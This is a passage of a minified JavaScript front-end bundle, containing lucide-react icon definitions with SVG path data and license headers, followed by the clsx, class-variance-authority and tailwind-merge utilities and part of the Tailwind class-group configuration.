 */const V9=[["path",{d:"M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z",key:"1lielz"}]],$0=Me("message-square",V9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const U9=[["rect",{width:"20",height:"14",x:"2",y:"3",rx:"2",key:"48i651"}],["line",{x1:"8",x2:"16",y1:"21",y2:"21",key:"1svkeh"}],["line",{x1:"12",x2:"12",y1:"17",y2:"21",key:"vw1qmm"}]],Vv=Me("monitor",U9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const I9=[["path",{d:"M12.586 12.586 19 19",key:"ea5xo7"}],["path",{d:"M3.688 3.037a.497.497 0 0 0-.651.651l6.5 15.999a.501.501 0 0 0 .947-.062l1.569-6.083a2 2 0 0 1 1.448-1.479l6.124-1.579a.5.5 0 0 0 .063-.947z",key:"277e5u"}]],H9=Me("mouse-pointer",I9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const q9=[["path",{d:"M5 12h14",key:"1ays0h"}],["path",{d:"M12 5v14",key:"s699le"}]],li=Me("plus",q9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const $9=[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]],bi=Me("refresh-cw",$9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const G9=[["path",{d:"M15.2 3a2 2 0 0 1 1.4.6l3.8 3.8a2 2 0 0 1 .6 1.4V19a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2z",key:"1c8476"}],["path",{d:"M17 21v-7a1 1 0 0 0-1-1H8a1 1 0 0 0-1 1v7",key:"1ydtos"}],["path",{d:"M7 3v4a1 1 0 0 0 1 1h7",key:"t51u73"}]],Uv=Me("save",G9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Y9=[["path",{d:"m21 21-4.34-4.34",key:"14j7rj"}],["circle",{cx:"11",cy:"11",r:"8",key:"4ej97u"}]],vj=Me("search",Y9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const K9=[["path",{d:"M14.536 21.686a.5.5 0 0 0 .937-.024l6.5-19a.496.496 0 0 0-.635-.635l-19 6.5a.5.5 0 0 0-.024.937l7.93 3.18a2 2 0 0 1 1.112 1.11z",key:"1ffxy3"}],["path",{d:"m21.854 2.147-10.94 10.939",key:"12cjpa"}]],Sg=Me("send",K9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const X9=[["path",{d:"M12.22 2h-.44a2 2 0 0 0-2 2v.18a2 2 0 0 1-1 1.73l-.43.25a2 2 0 0 1-2 0l-.15-.08a2 2 0 0 0-2.73.73l-.22.38a2 2 0 0 0 .73 2.73l.15.1a2 2 0 0 1 1 1.72v.51a2 2 0 0 1-1 1.74l-.15.09a2 2 0 0 0-.73 2.73l.22.38a2 2 0 0 0 2.73.73l.15-.08a2 2 0 0 1 2 0l.43.25a2 2 0 0 1 1 1.73V20a2 2 0 0 0 2 2h.44a2 2 0 0 0 2-2v-.18a2 2 0 0 1 1-1.73l.43-.25a2 2 0 0 1 2 0l.15.08a2 2 0 0 0 2.73-.73l.22-.39a2 2 0 0 0-.73-2.73l-.15-.08a2 2 0 0 1-1-1.74v-.5a2 2 0 0 1 1-1.74l.15-.09a2 2 0 0 0 .73-2.73l-.22-.38a2 2 0 0 0-2.73-.73l-.15.08a2 2 0 0 1-2 0l-.43-.25a2 2 0 0 1-1-1.73V4a2 2 0 0 0-2-2z",key:"1qme2f"}],["circle",{cx:"12",cy:"12",r:"3",key:"1v7zrd"}]],Cl=Me("settings",X9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const W9=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}],["path",{d:"M12 8v4",key:"1got3b"}],["path",{d:"M12 16h.01",key:"1drbdi"}]],fs=Me("shield-alert",W9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Q9=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}],["path",{d:"m9 12 2 2 4-4",key:"dzmm74"}]],G0=Me("shield-check",Q9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Z9=[["path",{d:"m2 2 20 20",key:"1ooewy"}],["path",{d:"M5 5a1 1 0 0 0-1 1v7c0 5 3.5 7.5 7.67 8.94a1 1 0 0 0 .67.01c2.35-.82 4.48-1.97 5.9-3.71",key:"1jlk70"}],["path",{d:"M9.309 3.652A12.252 12.252 0 0 0 11.24 2.28a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1v7a9.784 9.784 0 0 1-.08 1.264",key:"18rp1v"}]],J9=Me("shield-off",Z9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const eF=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}],["path",{d:"m14.5 9.5-5 5",key:"17q4r4"}],["path",{d:"m9.5 9.5 5 5",key:"18nt4w"}]],Ng=Me("shield-x",eF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const tF=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}]],Rl=Me("shield",tF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const nF=[["rect",{width:"14",height:"20",x:"5",y:"2",rx:"2",ry:"2",key:"1yt0o3"}],["path",{d:"M12 18h.01",key:"mhygvu"}]],dl=Me("smartphone",nF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const aF=[["path",{d:"M21 10.656V19a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h12.344",key:"2acyp4"}],["path",{d:"m9 11 3 3L22 4",key:"1pflzl"}]],sF=Me("square-check-big",aF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const rF=[["path",{d:"M12 3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7",key:"1m0v6g"}],["path",{d:"M18.375 2.625a1 1 0 0 1 3 3l-9.013 9.014a2 2 0 0 1-.853.505l-2.873.84a.5.5 0 0 1-.62-.62l.84-2.873a2 2 0 0 1 .506-.852z",key:"ohrbg2"}]],E4=Me("square-pen",rF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const iF=[["path",{d:"M14.5 2v17.5c0 1.4-1.1 2.5-2.5 2.5c-1.4 0-2.5-1.1-2.5-2.5V2",key:"125lnx"}],["path",{d:"M8.5 2h7",key:"csnxdl"}],["path",{d:"M14.5 16h-5",key:"1ox875"}]],wx=Me("test-tube",iF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const oF=[["path",{d:"M3 6h18",key:"d0wm0j"}],["path",{d:"M19 6v14c0 1-1 2-2 2H7c-1 0-2-1-2-2V6",key:"4alrt4"}],["path",{d:"M8 6V4c0-1 1-2 2-2h4c1 0 2 1 2 2v2",key:"v07s0e"}],["line",{x1:"10",x2:"10",y1:"11",y2:"17",key:"1uufr5"}],["line",{x1:"14",x2:"14",y1:"11",y2:"17",key:"xtxkd"}]],Fa=Me("trash-2",oF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const lF=[["path",{d:"m21.73 18-8-14a2 2 0 0 0-3.48 0l-8 14A2 2 0 0 0 4 21h16a2 2 0 0 0 1.73-3",key:"wmoenq"}],["path",{d:"M12 9v4",key:"juzpu7"}],["path",{d:"M12 17h.01",key:"p32p05"}]],hu=Me("triangle-alert",lF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const cF=[["path",{d:"M12 4v16",key:"1654pz"}],["path",{d:"M4 7V5a1 1 0 0 1 1-1h14a1 1 0 0 1 1 1v2",key:"e0r10z"}],["path",{d:"M9 20h6",key:"s66wpe"}]],uF=Me("type",cF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const dF=[["path",{d:"M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2",key:"1yyitq"}],["circle",{cx:"9",cy:"7",r:"4",key:"nufk8"}],["line",{x1:"17",x2:"22",y1:"8",y2:"13",key:"3nzzx3"}],["line",{x1:"22",x2:"17",y1:"8",y2:"13",key:"1swrse"}]],fF=Me("user-x",dF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const hF=[["path",{d:"M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2",key:"1yyitq"}],["path",{d:"M16 3.128a4 4 0 0 1 0 7.744",key:"16gr8j"}],["path",{d:"M22 21v-2a4 4 0 0 0-3-3.87",key:"kshegd"}],["circle",{cx:"9",cy:"7",r:"4",key:"nufk8"}]],mu=Me("users",hF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const mF=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}],["path",{d:"M5 12.859a10 10 0 0 1 5.17-2.69",key:"1dl1wf"}],["path",{d:"M19 12.859a10 10 0 0 0-2.007-1.523",key:"4k23kn"}],["path",{d:"M2 8.82a15 15 0 0 1 4.177-2.643",key:"1grhjp"}],["path",{d:"M22 8.82a15 15 0 0 0-11.288-3.764",key:"z3jwby"}],["path",{d:"m2 2 20 20",key:"1ooewy"}]],pF=Me("wifi-off",mF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const xF=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M2 8.82a15 15 0 0 1 20 0",key:"dnpr2z"}],["path",{d:"M5 12.859a10 10 0 0 1 14 0",key:"1x1e6c"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}]],Eg=Me("wifi",xF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const gF=[["path",{d:"M18 6 6 18",key:"1bl5f8"}],["path",{d:"m6 6 12 12",key:"d8bk6v"}]],Iv=Me("x",gF);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const vF=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]],yF=Me("zap",vF);function yj(e){var t,n,s="";if(typeof e=="string"||typeof e=="number")s+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t<i;t++)e[t]&&(n=yj(e[t]))&&(s&&(s+=" "),s+=n)}else for(n in e)e[n]&&(s&&(s+=" "),s+=n);return s}function bj(){for(var e,t,n=0,s="",i=arguments.length;n<i;n++)(e=arguments[n])&&(t=yj(e))&&(s&&(s+=" "),s+=t);return s}const j4=e=>typeof e=="boolean"?`${e}`:e===0?"0":e,A4=bj,Ou=(e,t)=>n=>{var s;if(t?.variants==null)return A4(e,n?.class,n?.className);const{variants:i,defaultVariants:c}=t,u=Object.keys(i).map(h=>{const p=n?.[h],x=c?.[h];if(p===null)return null;const g=j4(p)||j4(x);return i[h][g]}),d=n&&Object.entries(n).reduce((h,p)=>{let[x,g]=p;return g===void 0||(h[x]=g),h},{}),m=t==null||(s=t.compoundVariants)===null||s===void 0?void 0:s.reduce((h,p)=>{let{class:x,className:g,...y}=p;return Object.entries(y).every(w=>{let[S,N]=w;return Array.isArray(N)?N.includes({...c,...d}[S]):{...c,...d}[S]===N})?[...h,x,g]:h},[]);return A4(e,u,m,n?.class,n?.className)},Hv="-",bF=e=>{const t=CF(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:s}=e;return{getClassGroupId:u=>{const d=u.split(Hv);return d[0]===""&&d.length!==1&&d.shift(),wj(d,t)||wF(u)},getConflictingClassGroupIds:(u,d)=>{const m=n[u]||[];return d&&s[u]?[...m,...s[u]]:m}}},wj=(e,t)=>{if(e.length===0)return t.classGroupId;const n=e[0],s=t.nextPart.get(n),i=s?wj(e.slice(1),s):void 0;if(i)return i;if(t.validators.length===0)return;const c=e.join(Hv);return t.validators.find(({validator:u})=>u(c))?.classGroupId},T4=/^\[(.+)\]$/,wF=e=>{if(T4.test(e)){const t=T4.exec(e)[1],n=t?.substring(0,t.indexOf(":"));if(n)return"arbitrary.."+n}},CF=e=>{const{theme:t,classGroups:n}=e,s={nextPart:new Map,validators:[]};for(const i in n)jg(n[i],s,i,t);return s},jg=(e,t,n,s)=>{e.forEach(i=>{if(typeof i=="string"){const c=i===""?t:D4(t,i);c.classGroupId=n;return}if(typeof i=="function"){if(SF(i)){jg(i(s),t,n,s);return}t.validators.push({validator:i,classGroupId:n});return}Object.entries(i).forEach(([c,u])=>{jg(u,D4(t,c),n,s)})})},D4=(e,t)=>{let n=e;return t.split(Hv).forEach(s=>{n.nextPart.has(s)||n.nextPart.set(s,{nextPart:new Map,validators:[]}),n=n.nextPart.get(s)}),n},SF=e=>e.isThemeGetter,NF=e=>{if(e<1)return{get:()=>{},set:()=>{}};let t=0,n=new Map,s=new Map;const i=(c,u)=>{n.set(c,u),t++,t>e&&(t=0,s=n,n=new Map)};return{get(c){let u=n.get(c);if(u!==void 0)return u;if((u=s.get(c))!==void 0)return i(c,u),u},set(c,u){n.has(c)?n.set(c,u):i(c,u)}}},Ag="!",Tg=":",EF=Tg.length,jF=e=>{const{prefix:t,experimentalParseClassName:n}=e;let s=i=>{const c=[];let u=0,d=0,m=0,h;for(let w=0;w<i.length;w++){let S=i[w];if(u===0&&d===0){if(S===Tg){c.push(i.slice(m,w)),m=w+EF;continue}if(S==="/"){h=w;continue}}S==="["?u++:S==="]"?u--:S==="("?d++:S===")"&&d--}const p=c.length===0?i:i.substring(m),x=AF(p),g=x!==p,y=h&&h>m?h-m:void 0;return{modifiers:c,hasImportantModifier:g,baseClassName:x,maybePostfixModifierPosition:y}};if(t){const i=t+Tg,c=s;s=u=>u.startsWith(i)?c(u.substring(i.length)):{isExternal:!0,modifiers:[],hasImportantModifier:!1,baseClassName:u,maybePostfixModifierPosition:void 0}}if(n){const i=s;s=c=>n({className:c,parseClassName:i})}return s},AF=e=>e.endsWith(Ag)?e.substring(0,e.length-1):e.startsWith(Ag)?e.substring(1):e,TF=e=>{const t=Object.fromEntries(e.orderSensitiveModifiers.map(s=>[s,!0]));return s=>{if(s.length<=1)return s;const i=[];let c=[];return s.forEach(u=>{u[0]==="["||t[u]?(i.push(...c.sort(),u),c=[]):c.push(u)}),i.push(...c.sort()),i}},DF=e=>({cache:NF(e.cacheSize),parseClassName:jF(e),sortModifiers:TF(e),...bF(e)}),RF=/\s+/,_F=(e,t)=>{const{parseClassName:n,getClassGroupId:s,getConflictingClassGroupIds:i,sortModifiers:c}=t,u=[],d=e.trim().split(RF);let m="";for(let h=d.length-1;h>=0;h-=1){const p=d[h],{isExternal:x,modifiers:g,hasImportantModifier:y,baseClassName:w,maybePostfixModifierPosition:S}=n(p);if(x){m=p+(m.length>0?" "+m:m);continue}let N=!!S,T=s(N?w.substring(0,S):w);if(!T){if(!N){m=p+(m.length>0?" "+m:m);continue}if(T=s(w),!T){m=p+(m.length>0?" "+m:m);continue}N=!1}const E=c(g).join(":"),A=y?E+Ag:E,j=A+T;if(u.includes(j))continue;u.push(j);const R=i(T,N);for(let D=0;D<R.length;++D){const k=R[D];u.push(A+k)}m=p+(m.length>0?" "+m:m)}return m};function kF(){let e=0,t,n,s="";for(;e<arguments.length;)(t=arguments[e++])&&(n=Cj(t))&&(s&&(s+=" "),s+=n);return s}const Cj=e=>{if(typeof e=="string")return e;let t,n="";for(let s=0;s<e.length;s++)e[s]&&(t=Cj(e[s]))&&(n&&(n+=" "),n+=t);return n};function BF(e,...t){let n,s,i,c=u;function u(m){const h=t.reduce((p,x)=>x(p),e());return n=DF(h),s=n.cache.get,i=n.cache.set,c=d,d(m)}function d(m){const h=s(m);if(h)return h;const p=_F(m,n);return i(m,p),p}return function(){return c(kF.apply(null,arguments))}}const Rn=e=>{const t=n=>n[e]||[];return t.isThemeGetter=!0,t},Sj=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,Nj=/^\((?:(\w[\w-]*):)?(.+)\)$/i,MF=/^\d+\/\d+$/,FF=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,OF=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,LF=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,PF=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,zF=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,el=e=>MF.test(e),ut=e=>!!e&&!Number.isNaN(Number(e)),ei=e=>!!e&&Number.isInteger(Number(e)),Cx=e=>e.endsWith("%")&&ut(e.slice(0,-1)),pr=e=>FF.test(e),VF=()=>!0,UF=e=>OF.test(e)&&!LF.test(e),Ej=()=>!1,IF=e=>PF.test(e),HF=e=>zF.test(e),qF=e=>!ze(e)&&!Ve(e),$F=e=>Vl(e,Tj,Ej),ze=e=>Sj.test(e),Ii=e=>Vl(e,Dj,UF),Sx=e=>Vl(e,WF,ut),R4=e=>Vl(e,jj,Ej),GF=e=>Vl(e,Aj,HF),bf=e=>Vl(e,Rj,IF),Ve=e=>Nj.test(e),Ic=e=>Ul(e,Dj),YF=e=>Ul(e,QF),_4=e=>Ul(e,jj),KF=e=>Ul(e,Tj),XF=e=>Ul(e,Aj),wf=e=>Ul(e,Rj,!0),Vl=(e,t,n)=>{const s=Sj.exec(e);return s?s[1]?t(s[1]):n(s[2]):!1},Ul=(e,t,n=!1)=>{const s=Nj.exec(e);return s?s[1]?t(s[1]):n:!1},jj=e=>e==="position"||e==="percentage",Aj=e=>e==="image"||e==="url",Tj=e=>e==="length"||e==="size"||e==="bg-size",Dj=e=>e==="length",WF=e=>e==="number",QF=e=>e==="family-name",Rj=e=>e==="shadow",ZF=()=>{const e=Rn("color"),t=Rn("font"),n=Rn("text"),s=Rn("font-weight"),i=Rn("tracking"),c=Rn("leading"),u=Rn("breakpoint"),d=Rn("container"),m=Rn("spacing"),h=Rn("radius"),p=Rn("shadow"),x=Rn("inset-shadow"),g=Rn("text-shadow"),y=Rn("drop-shadow"),w=Rn("blur"),S=Rn("perspective"),N=Rn("aspect"),T=Rn("ease"),E=Rn("animate"),A=()=>["auto","avoid","all","avoid-page","page","left","right","column"],j=()=>["center","top","bottom","left","right","top-left","left-top","top-right","right-top","bottom-right","right-bottom","bottom-left","left-bottom"],R=()=>[...j(),Ve,ze],D=()=>["auto","hidden","clip","visible","scroll"],k=()=>["auto","contain","none"],B=()=>[Ve,ze,m],I=()=>[el,"full","auto",...B()],z=()=>[ei,"none","subgrid",Ve,ze],U=()=>["auto",{span:["full",ei,Ve,ze]},ei,Ve,ze],$=()=>[ei,"auto",Ve,ze],H=()=>["auto","min","max","fr",Ve,ze],W=()=>["start","end","center","between","around","evenly","stretch","baseline","center-safe","end-safe"],se=()=>["start","end","center","stretch","center-safe","end-safe"],M=()=>["auto",...B()],O=()=>[el,"auto","full","dvw","dvh","lvw","lvh","svw","svh","min","max","fit",...B()],V=()=>[e,Ve,ze],Z=()=>[...j(),_4,R4,{position:[Ve,ze]}],ce=()=>["no-repeat",{repeat:["","x","y","space","round"]}],F=()=>["auto","cover","contain",KF,$F,{size:[Ve,ze]}],P=()=>[Cx,Ic,Ii],q=()=>["","none","full",h,Ve,ze],Y=()=>["",ut,Ic,Ii],me=()=>["solid","dashed","dotted","double"],we=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],fe=()=>[ut,Cx,_4,R4],ye=()=>["","none",w,Ve,ze],Oe=()=>["none",ut,Ve,ze],ke=()=>["none",ut,Ve,ze],$e=()=>[ut,Ve,ze],Xe=()=>[el,"full",...B()];return{cacheSize:500,theme:{animate:["spin","ping","pulse","bounce"],aspect:["video"],blur:[pr],breakpoint:[pr],color:[VF],container:[pr],"drop-shadow":[pr],ease:["in","out","in-out"],font:[qF],"font-weight":["thin","extralight","light","normal","medium","semibold","bold","extrabold","black"],"inset-shadow":[pr],leading:["none","tight","snug","normal","relaxed","loose"],perspective:["dramatic","near","normal","midrange","distant","none"],radius:[pr],shadow:[pr],spacing:["px",ut],text:[pr],"text-shadow":[pr],tracking:["tighter","tight","normal","wide","wider","widest"]},classGroups:{aspect:[{aspect:["auto","square",el,ze,Ve,N]}],container:["container"],columns:[{columns:[ut,ze,Ve,d]}],"break-after":[{"break-after":A()}],"break-before":[{"break-before":A()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],sr:["sr-only","not-sr-only"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:R()}],overflow:[{overflow:D()}],"overflow-x":[{"overflow-x":D()}],"overflow-y":[{"overflow-y":D()}],overscroll:[{overscroll:k()}],"overscroll-x":[{"overscroll-x":k()}],"overscroll-y":[{"overscroll-y":k()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:I()}],"inset-x":[{"inset-x":I()}],"inset-y":[{"inset-y":I()}],start:[{start:I()}],end:[{end:I()}],top:[{top:I()}],right:[{right:I()}],bottom:[{bottom:I()}],left:[{left:I()}],visibility:["visible","invisible","collapse"],z:[{z:[ei,"auto",Ve,ze]}],basis:[{basis:[el,"full","auto",d,...B()]}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["nowrap","wrap","wrap-reverse"]}],flex:[{flex:[ut,el,"auto","initial","none",ze]}],grow:[{grow:["",ut,Ve,ze]}],shrink:[{shrink:["",ut,Ve,ze]}],order:[{order:[ei,"first","last","none",Ve,ze]}],"grid-cols":[{"grid-cols":z()}],"col-start-end":[{col:U()}],"col-start":[{"col-start":$()}],"col-end":[{"col-end":$()}],"grid-rows":[{"grid-rows":z()}],"row-start-end":[{row:U()}],"row-start":[{"row-start":$()}],"row-end":[{"row-end":$()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":H()}],"auto-rows":[{"auto-rows":H()}],gap:[{gap:B()}],"gap-x":[{"gap-x":B()}],"gap-y":[{"gap-y":B()}],"justify-content":[{justify:[...W(),"normal"]}],"justify-items":[{"justify-items":[...se(),"normal"]}],"justify-self":[{"justify-self":["auto",...se()]}],"align-content":[{content:["normal",...W()]}],"align-items":[{items:[...se(),{baseline:["","last"]}]}],"align-self":[{self:["auto",...se(),{baseline:["","last"]}]}],"place-content":[{"place-content":W()}],"place-items":[{"place-items":[...se(),"baseline"]}],"place-self":[{"place-self":["auto",...se()]}],p:[{p:B()}],px:[{px:B()}],py:[{py:B()}],ps:[{ps:B()}],pe:[{pe:B()}],pt:[{pt:B()}],pr:[{pr:B()}],pb:[{pb:B()}],pl:[{pl:B()}],m:[{m:M()}],mx:[{mx:M()}],my:[{my:M()}],ms:[{ms:M()}],me:[{me:M()}],mt:[{mt:M()}],mr:[{mr:M()}],mb:[{mb:M()}],ml:[{ml:M()}],"space-x":[{"space-x":B()}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":B()}],"space-y-reverse":["space-y-reverse"],size:[{size:O()}],w:[{w:[d,"screen",...O()]}],"min-w":[{"min-w":[d,"screen","none",...O()]}],"max-w":[{"max-w":[d,"screen","none","prose",{screen:[u]},...O()]}],h:[{h:["screen","lh",...O()]}],"min-h":[{"min-h":["screen","lh","none",...O()]}],"max-h":[{"max-h":["screen","lh",...O()]}],"font-size":[{text:["base",n,Ic,Ii]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:[s,Ve,Sx]}],"font-stretch":[{"font-stretch":["ultra-condensed","extra-condensed","condensed","semi-condensed","normal","semi-expanded","expanded","extra-expanded","ultra-expanded",Cx,ze]}],"font-family":[{font:[YF,ze,t]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:[i,Ve,ze]}],"line-clamp":[{"line-clamp":[ut,"none",Ve,Sx]}],leading:[{leading:[c,...B()]}],"list-image":[{"list-image":["none",Ve,ze]}],"list-style-position":[{list:["inside","outside"]}],"list-style-type":[{list:["disc","decimal","none",Ve,ze]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"placeholder-color":[{placeholder:V()}],"text-color":[{text:V()}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...me(),"wavy"]}],"text-decoration-thickness":[{decoration:[ut,"from-font","auto",Ve,Ii]}],"text-decoration-color":[{decoration:V()}],"underline-offset":[{"underline-offset":[ut,"auto",Ve,ze]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:B()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",Ve,ze]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],wrap:[{wrap:["break-word","anywhere","normal"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",Ve,ze]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:Z()}],"bg-repeat":[{bg:ce()}],"bg-size":[{bg:F()}],"bg-image":[{bg:["none",{linear:[{to:["t","tr","r","br","b","bl","l","tl"]},ei,Ve,ze],radial:["",Ve,ze],conic:[ei,Ve,ze]},XF,GF]}],"bg-color":[{bg:V()}],"gradient-from-pos":[{from:P()}],"gradient-via-pos":[{via:P()}],"gradient-to-pos":[{to:P()}],"